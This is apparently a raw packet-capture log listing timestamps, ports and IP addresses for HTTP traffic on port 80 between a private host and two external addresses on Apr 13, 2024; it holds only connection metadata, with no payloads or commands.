Apr 13, 2024 20:21:17.390876055 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.390889883 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.390913963 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.390952110 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.390968084 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.390990019 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.391026974 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.391055107 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.391063929 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.391072035 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.391100883 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.391140938 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.391163111 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.391177893 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.391215086 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.391227961 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.391252995 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.391262054 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.391290903 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.391326904 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.391349077 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.391365051 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.391386986 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.391402006 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.391427040 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.391438961 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.391463041 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.391478062 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.391505003 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.391514063 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.391525030 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.391551018 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.391573906 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.391590118 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.391627073 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.391664028 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.391664028 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.391704082 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.391736984 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.391746044 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.391765118 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.391768932 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.391801119 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.391833067 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.391864061 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.391895056 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.391927004 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.391957998 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.391988993 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.392019987 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.392050982 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.392165899 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.392198086 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.392257929 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.392290115 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.392488003 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.392582893 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.392647982 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.392839909 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.393337011 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.393376112 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.393737078 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.393769979 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.393846989 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.393881083 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.393929005 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.398706913 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.398770094 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.398809910 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.398835897 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.398853064 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.398897886 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.398916960 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.398937941 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.398964882 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.398977041 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.399015903 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.399039984 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.399054050 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.399070978 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.399092913 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.399153948 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.399207115 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.399245024 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.399281979 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.399313927 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.399318933 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.399338961 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.399357080 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.399394989 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.399431944 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.399436951 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.399436951 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.399471998 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.399508953 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.399533987 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.399545908 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.399554968 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.399583101 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.399621010 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.399641037 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.399657965 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.399696112 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.399722099 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.399733067 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.399739981 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.399770975 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.399807930 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.399841070 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.399841070 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.399846077 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.399862051 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.401839972 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.401874065 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.401935101 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.402584076 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.402616978 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.402647972 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.402679920 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.402712107 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.402743101 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.402774096 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.402806044 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.402837992 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.402868986 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.402899981 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.402930975 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.402961016 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.402992010 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.403022051 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.403053045 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.403083086 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.403112888 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.403143883 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.403175116 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.403204918 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.403235912 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.403266907 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.403297901 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.403328896 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.403359890 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.403390884 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.403422117 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.403453112 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.403482914 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.403513908 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.403543949 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.403580904 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.403610945 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.403641939 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.403673887 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.403704882 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.403736115 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.403765917 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.403796911 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.403826952 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.403856993 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.403887987 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.403918982 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.403949976 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.403979063 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.404010057 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.404040098 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.404071093 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.404100895 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.404130936 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.404160976 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.404191971 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.404243946 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.404277086 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.404308081 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.404337883 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.404369116 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.404472113 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.404504061 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.404535055 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.404565096 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.404668093 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.407355070 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.407412052 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.545049906 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.736491919 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.736555099 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.736593008 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.736630917 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.736671925 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.736712933 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.736752987 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.736751080 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.736751080 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.736751080 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.736792088 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.736825943 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.736825943 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.736830950 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.736871004 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.736865997 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.736886978 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.736908913 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.736924887 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.736948013 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.736955881 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.736985922 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.737021923 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.737032890 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.737032890 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.737059116 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.737070084 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.737098932 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.737122059 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.737137079 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.737143040 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.737174988 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.737210989 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.737248898 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.737286091 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.737323999 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.737360954 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.737396002 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.737430096 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.737430096 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.737431049 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.737431049 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.737431049 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.737431049 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.737431049 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.737456083 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.737497091 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.737534046 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.737561941 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.737561941 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.737561941 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.737572908 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.737591982 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.737608910 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.737618923 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.737647057 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.737677097 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.737683058 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.737699032 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.737720966 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.737740993 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.737759113 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.737786055 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.737796068 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.737833023 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.737854958 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.737869978 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.737874985 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.737906933 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.737943888 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.737952948 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.737953901 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.737982035 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.738020897 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.738020897 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.738020897 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.738058090 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.738070011 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.738095045 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.738110065 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.738132954 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.738159895 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.738168001 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.738179922 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.738207102 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.738224983 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.738245964 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.738267899 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.738282919 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.738301992 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.738318920 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.738339901 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.738357067 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.738362074 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.738394022 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.738409996 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.738432884 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.738445997 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.738468885 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.738503933 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.738507032 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.738523006 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.738543987 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.738564014 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.738581896 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.738605022 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.738619089 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.738624096 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.738656998 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.738671064 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.738696098 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.738718033 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.738734007 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.738773108 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.738787889 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.738810062 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.738842010 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.738847017 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.738862038 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.738884926 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.738895893 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.738922119 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.738934994 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.738960981 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.738991022 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.738997936 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.739011049 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.739034891 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.739052057 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.739073038 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.739089966 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.739110947 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.739123106 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.739149094 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.739160061 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.739187002 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.739198923 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.739223957 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.739250898 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.739259958 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.739269972 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.739301920 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.739316940 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.739341974 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.739355087 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.739379883 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.739411116 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.739418030 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.739429951 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.739454031 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.739466906 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.739490986 CEST	80	49744	193.233.132.167	192.168.2.4
